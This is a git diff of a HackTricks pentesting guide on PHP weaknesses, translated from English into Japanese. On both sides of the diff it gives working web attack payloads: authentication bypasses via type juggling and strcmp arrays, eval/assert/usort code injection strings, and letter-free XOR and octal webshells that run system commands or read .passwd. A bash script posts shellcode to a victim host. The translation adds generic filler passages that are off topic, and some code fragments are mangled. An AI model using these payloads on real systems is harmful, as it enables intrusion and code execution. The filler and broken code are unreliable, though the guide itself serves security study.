a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index a6a0c37ae..de51d6d40 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -1,62 +1,57 @@ -# PHP Tricks +# PHPのトリック
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Cookies common location: +## クッキーの一般的な場所: -This is also valid for phpMyAdmin cookies. - -Cookies: +これはphpMyAdminのクッキーにも適用されます。 +クッキー: ``` PHPSESSID phpMyAdmin ``` - -Locations: - +場所: ``` /var/lib/php/sessions /var/lib/php5/ /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` +## PHP比較のバイパス -## Bypassing PHP comparisons +### 緩い比較/型変換(==) -### Loose comparisons/Type Juggling ( == ) +PHPで`==`が使用されると、比較が予期しない動作をする場合があります。これは、"=="は値を同じ型に変換してから比較するためです。比較するデータの型も同じであることを確認したい場合は、`===`を使用する必要があります。 -If `==` is used in PHP, then there are unexpected cases where the comparison doesn't behave as expected. This is because "==" only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use `===`. - -PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) +PHPの比較テーブル:[https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../.gitbook/assets/image (40) (1).png>) {% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} -* `"string" == 0 -> True` A string which doesn't start with a number is equals to a number -* `"0xAAAA" == "43690" -> True` Strings composed by numbers in dec or hex format can be compare to other numbers/strings with True as result if the numbers were the same (numbers in a string are interpreted as numbers) -* `"0e3264578" == 0 --> True` A string starting with "0e" and followed by anything will be equals to 0 -* `"0X3264578" == 0X --> True` A string starting with "0" and followed by any letter (X can be any letter) and followed by anything will be equals to 0 -* `"0e12334" == "0" --> True` This is very interesting because in some cases yo can control the string input of "0" and some content that is being hashed and compared to it. Therefore, if you can provide a value that will create a hash starting with "0e" and without any letter, you could bypass the comparison. You can find **already hashed strings** with this format here: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) -* `"X" == 0 --> True` Any letter in a string is equals to int 0 +* `"string" == 0 -> True` 数字で始まらない文字列は、数値と等しいとみなされます。 +* `"0xAAAA" == "43690" -> True` 10進数または16進数の形式で構成された文字列は、同じ数値/文字列と比較してTrueとなります(文字列内の数値は数値として解釈されます)。 +* `"0e3264578" == 0 --> True` "0e"で始まり、その後に何かが続く文字列は、0と等しいとみなされます。 +* `"0X3264578" == 0X --> True` "0"で始まり、その後に任意の文字(Xは任意の文字)が続き、その後に何かが続く文字列は、0と等しいとみなされます。 +* `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、いくつかの場合において、"0"と比較されるハッシュ値の文字列入力と、そのハッシュ値を作成するための値を制御できるからです。したがって、"0e"で始まり、任意の文字がないハッシュを作成できる値を提供できれば、比較をバイパスすることができます。この形式の**既にハッシュ化された文字列**は、ここで見つけることができます:[https://github.com/spaze/hashes](https://github.com/spaze/hashes) +* `"X" == 0 --> True` 文字列内の任意の文字は、整数0と等しいとみなされます。 -More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) +詳細はこちら:[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) ### **in\_array()** -**Type Juggling** also affects to the `in_array()` function by default (you need to set to true the third argument to make an strict comparison): - +**型変換**は、デフォルトでは`in_array()`関数にも影響を与えます(厳密な比較を行うには、3番目の引数をtrueに設定する必要があります)。 ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); @@ -64,36 +59,30 @@ var_dump(in_array(0, $values)); var_dump(in_array(0, $values, true)); //False ``` - ### strcmp()/strcasecmp() -If this function is used for **any authentication check** (like checking the password) and the user controls one side of the comparison, he can send an empty array instead of a string as the value of the password (`https://example.com/login.php/?username=admin&password[]=`) and bypass this check: - +この関数が**認証チェック**(パスワードのチェックなど)に使用されている場合、ユーザーが比較の一方を制御している場合、パスワードの値として空の配列を送信することができます(`https://example.com/login.php/?username=admin&password[]=`)。これにより、このチェックをバイパスすることができます。 ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` +`strcasecmp()`でも同じエラーが発生します。 -The same error occurs with `strcasecmp()` - -### Strict type Juggling - -Even if `===` is **being used** there could be errors that makes the **comparison vulnerable** to **type juggling**. For example, if the comparison is **converting the data to a different type of object before comparing**: +### 厳密な型変換 +`===`が使用されている場合でも、**型変換によって比較が脆弱になる可能性があります**。例えば、比較が行われる前にデータが異なる型のオブジェクトに変換される場合です。 ```php (int) "1abc" === (int) "1xyz" //This will be true ``` - ### preg\_match(/^.\*/) -**`preg_match()`** could be used to **validate user input** (it **checks** if any **word/regex** from a **blacklist** is **present** on the **user input** and if it's not, the code can continue it's execution). +**`preg_match()`**は、ユーザーの入力を検証するために使用できます(ユーザーの入力にブラックリストの単語/正規表現が含まれているかどうかをチェックし、含まれていない場合、コードは実行を続けることができます)。 -#### New line bypass - -However, when delimiting the start of the regexp`preg_match()` **only checks the first line of the user input**, then if somehow you can **send** the input in **several lines**, you could be able to bypass this check. Example: +#### 改行バイパス +ただし、正規表現の開始を区切る場合、`preg_match()`はユーザーの入力の最初の行のみをチェックします。そのため、何らかの方法で入力を複数行で送信できる場合、このチェックをバイパスすることができます。例: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -106,30 +95,42 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` - -To bypass this check you could **send the value with new-lines urlencoded** (`%0A`) or if you can send **JSON data**, send it in **several lines**: - +このチェックをバイパスするためには、値を**改行をURLエンコードした形式**(`%0A`)で送信するか、**JSONデータ**を送信することができます。複数行に分けて送信してください。 ```php { - "cmd": "cat /etc/passwd" +"cmd": "cat /etc/passwd" } ``` +以下は例です:[https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) -Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) - -#### **Length error bypass** - -(This bypass was tried apparently on PHP 5.2.5 and I couldn't make it work on PHP 7.3.15)\ -If you can send to `preg_match()` a valid very **large input**, it **won't be able to process it** and you will be able to **bypass** the check. For example, if it is blacklisting a JSON you could send: +#### **長さエラーバイパス** +(このバイパスは、おそらくPHP 5.2.5で試され、PHP 7.3.15では機能しなかったようです)\ +`preg_match()`に有効な非常に**大きな入力**を送信すると、それを**処理できなくなり**、チェックを**バイパス**することができます。たとえば、JSONをブラックリストに登録している場合、次のように送信できます: ``` payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}' ``` +### PHPの難読化のための型ジャグリング -From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) +Type juggling is a technique used in PHP to obfuscate code and make it harder to understand. It involves manipulating the data types of variables in order to perform unexpected operations. -### Type Juggling for PHP obfuscation +型ジャグリングは、PHPでコードを難読化し、理解を困難にするための技術です。これは、変数のデータ型を操作して予期しない操作を行うことを含みます。 +In PHP, variables do not have a fixed data type and can be dynamically changed based on the context in which they are used. This flexibility can be exploited to perform type juggling attacks. + +PHPでは、変数には固定のデータ型がなく、使用されるコンテキストに基づいて動的に変更することができます。この柔軟性は、型ジャグリング攻撃を実行するために悪用されることがあります。 + +Type juggling attacks involve manipulating the data types of variables in order to bypass input validation or perform unexpected operations. For example, a string that starts with a numeric value can be automatically converted to a number when used in a mathematical operation. + +型ジャグリング攻撃は、入力検証をバイパスしたり、予期しない操作を実行するために、変数のデータ型を操作することを含みます。例えば、数値で始まる文字列は、数学的な操作で使用されると自動的に数値に変換されることがあります。 + +To protect against type juggling attacks, it is important to always use strict comparison operators (=== and !==) instead of loose comparison operators (== and !=). Strict comparison operators compare both the value and the data type, making it harder for attackers to manipulate the data types. + +型ジャグリング攻撃に対抗するためには、常に厳密な比較演算子(===および!==)を使用することが重要です。緩い比較演算子(==および!=)ではなく、厳密な比較演算子を使用することで、値とデータ型の両方を比較し、攻撃者がデータ型を操作するのを困難にします。 + +It is also recommended to validate and sanitize user input to prevent any unexpected data manipulation. By ensuring that the input matches the expected data type, you can reduce the risk of type juggling attacks. + +また、予期しないデータの操作を防ぐために、ユーザーの入力を検証およびサニタイズすることをお勧めします。入力が予想されるデータ型と一致することを確認することで、型ジャグリング攻撃のリスクを減らすことができます。 ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -140,34 +141,29 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7 $obfs .= ""; //string "7" $obfs += ""; //int 7 ``` +## リダイレクト後に実行する(EAR) -## Execute After Redirect (EAR) - -If PHP is redirecting to another page but no **`die`** or **`exit`** function is **called after the header `Location`** is set, the PHP continues executing and appending the data to the body: - +PHPが別のページにリダイレクトするが、ヘッダーの`Location`が設定された後に**`die`**または**`exit`**関数が呼び出されない場合、PHPは実行を続けてデータを本文に追加します。 ```php ``` +## その他のトリック -## More tricks - -* **register\_globals**: In **PHP < 4.1.1.1** or if misconfigured, **register\_globals** may be active (or their behavior is being mimicked). This implies that in global variables like $\_GET if they have a value e.g. $\_GET\["param"]="1234", you can access it via **$param. Therefore, by sending HTTP parameters you can overwrite variables** that are used within the code. -* The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\ - This way if **both paths access a variable with the same name** you can make the **value of that variable in path1 apply to path2**. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2). -* When you have the **usernames** of the users of the machine. Check the address: **/\~\** to see if the php directories are activated. -* [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/) +* **register\_globals**: **PHP < 4.1.1.1** または設定が誤っている場合、**register\_globals** が有効になっている可能性があります(またはその動作が模倣されています)。これは、グローバル変数(例:$\_GET)に値がある場合、**$param** を介してアクセスできることを意味します。したがって、HTTPパラメータを送信することで、コード内で使用される変数を上書きすることができます。 +* 同じドメインの **PHPSESSIONクッキーは同じ場所に保存されます**。したがって、ドメイン内で**異なるパスで異なるクッキーが使用されている場合**、あるパスが他のパスのクッキーにアクセスするようにすることができます。これにより、**両方のパスが同じ名前の変数にアクセスする場合**、path1の変数の値をpath2に適用することができます。そして、path2はpath1の変数を有効として受け入れます(path2で対応する名前のクッキーを与えることで)。 +* マシンのユーザーの **ユーザー名** を持っている場合、アドレスをチェックしてください:**/\~\** 、PHPディレクトリが有効になっているかどうかを確認します。 +* [**phpラッパーを使用したLFIとRCE**](../../../pentesting-web/file-inclusion/) ### password\_hash/password\_verify -This functions are typically used in PHP to **generate hashes from passwords** and to to **check** if a password is correct compared with a hash.\ -The supported algorithms are: `PASSWORD_DEFAULT` and `PASSWORD_BCRYPT` (starts with `$2y$`). Note that **PASSWORD\_DEFAULT is frequently the same as PASSWORD\_BCRYPT.** And currently, **PASSWORD\_BCRYPT** has a **size limitation in the input of 72bytes**. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used: - +これらの関数は、通常、PHPでパスワードからハッシュを生成し、ハッシュと比較してパスワードが正しいかどうかを**チェックするために使用されます**。\ +サポートされているアルゴリズムは、`PASSWORD_DEFAULT` と `PASSWORD_BCRYPT`(`$2y$`で始まる)です。注意点として、**PASSWORD\_DEFAULT は通常 PASSWORD\_BCRYPT と同じです**。そして現在、**PASSWORD\_BCRYPT** には入力のサイズ制限があり、72バイトを超えるものをこのアルゴリズムでハッシュしようとすると、最初の72バイトのみが使用されます。 ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -175,34 +171,30 @@ False $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW True ``` +### HTTPヘッダーのバイパスとPHPエラーの悪用 -### HTTP headers bypass abusing PHP errors - -If a **PHP page is printing errors and echoing back some input provided by the user**, the user can make the PHP server print back some **content long enough** so when it tries to **add the headers** into the response the server will throw and error.\ -In the following scenario the **attacker made the server throw some big errors**, and as you can see in the screen when php tried to **modify the header information, it couldn't** (so for example the CSP header wasn't sent to the user): +もしPHPのページがエラーを表示し、ユーザーが提供した入力をエコーしている場合、ユーザーはPHPサーバーに対して十分な長さのコンテンツを返すことができます。そのため、レスポンスにヘッダーを追加しようとすると、サーバーはエラーをスローします。\ +以下のシナリオでは、攻撃者がサーバーに大きなエラーを発生させました。スクリーンショットで見るように、PHPがヘッダー情報を変更しようとしたときにできなかったため(たとえば、CSPヘッダーがユーザーに送信されませんでした): ![](<../../../.gitbook/assets/image (465).png>) -## Code execution +## コードの実行 **system("ls");**\ **\`ls\`;**\ **shell\_exec("ls");** -[Check this for more useful PHP functions](php-useful-functions-disable\_functions-open\_basedir-bypass/) - -### **Code execution using** **preg\_replace()** +[より便利なPHP関数についてはこちらを参照してください](php-useful-functions-disable\_functions-open\_basedir-bypass/) +### **preg\_replace()を使用したコードの実行** ```php preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` +"replace"引数のコードを実行するには、少なくとも1つのマッチが必要です。\ +このpreg\_replaceのオプションは、PHP 5.5.0以降は**非推奨**となっています。 -To execute the code in the "replace" argument is needed at least one match.\ -This option of preg\_replace has been **deprecated as of PHP 5.5.0.** - -### **Code execution with Eval()** - +### **Eval()を使用したコードの実行** ``` '.system('uname -a'); $dummy=' '.system('uname -a');# @@ -210,27 +202,23 @@ This option of preg\_replace has been **deprecated as of PHP 5.5.0.** '.phpinfo().' ``` +### **Assert()を使用したコードの実行** -### **Code execution with Assert()** - -This function within php allows you to **execute code that is written in a string** in order to **return true or false** (and depending on this alter the execution). Usually the user variable will be inserted in the middle of a string. For example:\ -`assert("strpos($_GET['page']),'..') === false")` --> In this case to get **RCE** you could do: - +このphpの関数は、**文字列で書かれたコードを実行**して**trueまたはfalseを返す**ことができます(そして、これに基づいて実行を変更することができます)。通常、ユーザー変数は文字列の中に挿入されます。例えば:\ +`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を得るためには以下のようにします: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` +コードの構文を**壊し**、**ペイロード**を**追加**し、それを再び**修正**する必要があります。**論理演算**(たとえば「**and**」または「%26%26」または「|」)を使用することができます。ただし、「or」、「||」は機能しないため、最初の条件が真である場合、ペイロードは実行されません。同様に、";"もペイロードが実行されないため機能しません。 -You will need to **break** the code **syntax**, **add** your **payload**, and then **fix it again**. You can use **logic operations** such as "**and" or "%26%26" or "|"**. Note that "or", "||" doesn't work because if the first condition is true our payload won't get executed. The same way ";" doesn't work as our payload won't be executed. +**別のオプション**は、コマンドの実行を文字列に追加することです:`'.highlight_file('.passwd').'` -**Other option** is to add to the string the execution of the command: `'.highlight_file('.passwd').'` +**別のオプション**(内部コードを持っている場合)は、実行を変更するためにいくつかの変数を変更することです:`$file = "hola"` -**Other option** (if you have the internal code) is to modify some variable to alter the execution: `$file = "hola"` - -### **Code execution with usort()** - -This function is used to sort an array of items using an specific function.\ -To abuse this function: +### **usort()を使用したコードの実行** +この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\ +この関数を悪用するには: ```php VALUE: );phpinfo();# @@ -241,56 +229,52 @@ VALUE: );phpinfo();# ```php VALUE: );}[PHP CODE];# ``` +**//**を使用して、コードの残り部分にコメントを追加することもできます。 -You can also use **//** to comment the rest of the code. +閉じる必要があるかっこの数を見つけるためには: -To discover the number of parenthesis that you need to close: +* `?order=id;}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ';'`)。おそらく、1つ以上の括弧が不足しているでしょう。 +* `?order=id);}//`: **警告**が表示されます。これは正しいようです。 +* `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく、閉じる括弧が多すぎるでしょう。 -* `?order=id;}//`: we get an error message (`Parse error: syntax error, unexpected ';'`). We are probably missing one or more brackets. -* `?order=id);}//`: we get a **warning**. That seems about right. -* `?order=id));}//`: we get an error message (`Parse error: syntax error, unexpected ')' i`). We probably have too many closing brackets. +### **.httaccessを介したコード実行** -### **Code execution via .httaccess** +**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することができます(拡張子が.htaccessのファイルを**実行**できるように設定することができます)。 -If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code (configuring that files with extension .htaccess can be **executed**). +異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。 -Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells) - -## PHP Static analysis - -Look if you can insert code in calls to these functions (from [here](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)): +## PHP静的解析 +これらの関数の呼び出しにコードを挿入できるかどうかを確認してください([こちら](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)から)。 ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` +PHPアプリケーションのデバッグ中に、`/etc/php5/apache2/php.ini`に`display_errors = On`を追加してApacheを再起動することで、エラーの表示をグローバルに有効にすることができます:`sudo systemctl restart apache2` -If yo are debugging a PHP application you can globally enable error printing in`/etc/php5/apache2/php.ini` adding `display_errors = On` and restart apache : `sudo systemctl restart apache2` +### PHPコードの復号化 -### Deobfuscating PHP code +PHPコードを復号化するために、[**www.unphp.net**](http://www.unphp.net)のウェブサイトを使用することができます。 -You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfuscate php code.** +## PHPラッパーとプロトコル -## PHP Wrappers & Protocols +PHPラッパーとプロトコルを使用すると、システム内の書き込みと読み取りの保護を**バイパス**して侵害することができます。[**詳細については、このページを参照してください**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。 -PHP Wrappers ad protocols could allow you to **bypass write and read protections** in a system and compromise it. For [**more information check this page**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). +## Xdebugの未認証RCE -## Xdebug unauthenticated RCE - -If you see that **Xdebug** is **enabled** in a `phpconfig()` output you should try to get RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) - -## Variable variables +`phpconfig()`の出力で**Xdebug**が**有効**になっている場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を使用してRCEを取得しようとしてみるべきです。 +## 変数変数 ```php $x = 'Da'; $$x = 'Drums'; @@ -302,64 +286,71 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` +## RCEを利用した新しい$\_GET\["a"]\($\_GET\["b"])の悪用 -## RCE abusing new $\_GET\["a"]\($\_GET\["b"]) - -If in a page you can **create a new object of an arbitrary class** you might be able to obtain RCE, check the following page to learn how: +もしページで**任意のクラスの新しいオブジェクトを作成**することができる場合、RCEを取得することができるかもしれません。詳細については、以下のページを参照してください: {% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} [php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md) {% endcontent-ref %} -## Execute PHP without letters +## 文字を使用せずにPHPを実行する [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) -### Using octal - +### 8進数を使用する ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` - ### **XOR** +XOR(排他的論理和)は、2つのビット列を比較するための論理演算子です。XOR演算子は、2つのビットが異なる場合に1を返し、同じ場合には0を返します。 + +XORは、暗号化やデータの整合性チェックなど、さまざまなセキュリティ関連のアプリケーションで使用されます。また、XORを使用してデータを変換することで、特定のパターンを見つけるための解析や、データの隠蔽なども行うことができます。 + +XORは、以下のような真理値表で表されます。 + +| 入力A | 入力B | 出力 | +|-------|-------|------| +| 0 | 0 | 0 | +| 0 | 1 | 1 | +| 1 | 0 | 1 | +| 1 | 1 | 0 | + +XOR演算子は、ビット単位での演算を行うため、データの暗号化や解読に使用することができます。また、XORを使用してデータを変換することで、特定のパターンを見つけるための解析や、データの隠蔽なども行うことができます。 + +XOR演算子は、プログラミング言語やネットワークセキュリティの分野で広く使用されています。 ```php $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` +### XOR簡単なシェルコード -### XOR easy shell code - -According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way: - +[**この解説**](https://mgp25.com/ctf/Web-challenge/)によると、次のように簡単なシェルコードを生成することができます: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` - -So, if you can **execute arbitrary PHP without numbers and letters** you can send a request like the following abusing that payload to execute arbitrary PHP: - +したがって、**数字や文字を使用せずに任意のPHPコードを実行**することができれば、次のようなリクエストを送信することで、そのペイロードを悪用して任意のPHPコードを実行することができます。 ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` +より詳しい説明については、[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)を参照してください。 -For a more in depth explanation check [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match) - -### XOR Shellcode (inside eval) - +### XORシェルコード(eval内部) ```bash #!/bin/bash if [[ -z $1 ]]; then - echo "USAGE: $0 CMD" - exit +echo "USAGE: $0 CMD" +exit fi CMD=$1 @@ -373,9 +364,21 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` +### Perlのような機能 -### Perl like +Perlは、強力なテキスト処理機能を備えたスクリプト言語です。Perlのような機能を利用することで、テキストデータの処理や操作を効率的に行うことができます。 +以下は、Perlのような機能を使用するためのいくつかのテクニックです。 + +- **正規表現**: 正規表現は、テキストのパターンマッチングや置換を行うための強力なツールです。Perlでは、正規表現を使用して、文字列のパターンを簡単に検索したり置換したりすることができます。 + +- **文字列操作**: Perlでは、文字列の連結、分割、置換などの操作を簡単に行うことができます。これにより、テキストデータの加工や整形を効率的に行うことができます。 + +- **ファイル操作**: Perlでは、ファイルの読み書きやディレクトリの操作を簡単に行うことができます。これにより、テキストファイルの処理やディレクトリの操作を自動化することができます。 + +- **モジュールの利用**: Perlでは、様々なモジュールを利用することができます。これにより、テキスト処理やデータ操作に便利な機能を追加することができます。 + +これらの機能を駆使することで、Perlのような柔軟性とパワーを持ったテキスト処理を実現することができます。 ```php ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index e3b447489..539beb027 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,45 +1,44 @@ -# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCEオブジェクト作成の乱用: new $\_GET\["a"]\($\_GET\["b"])
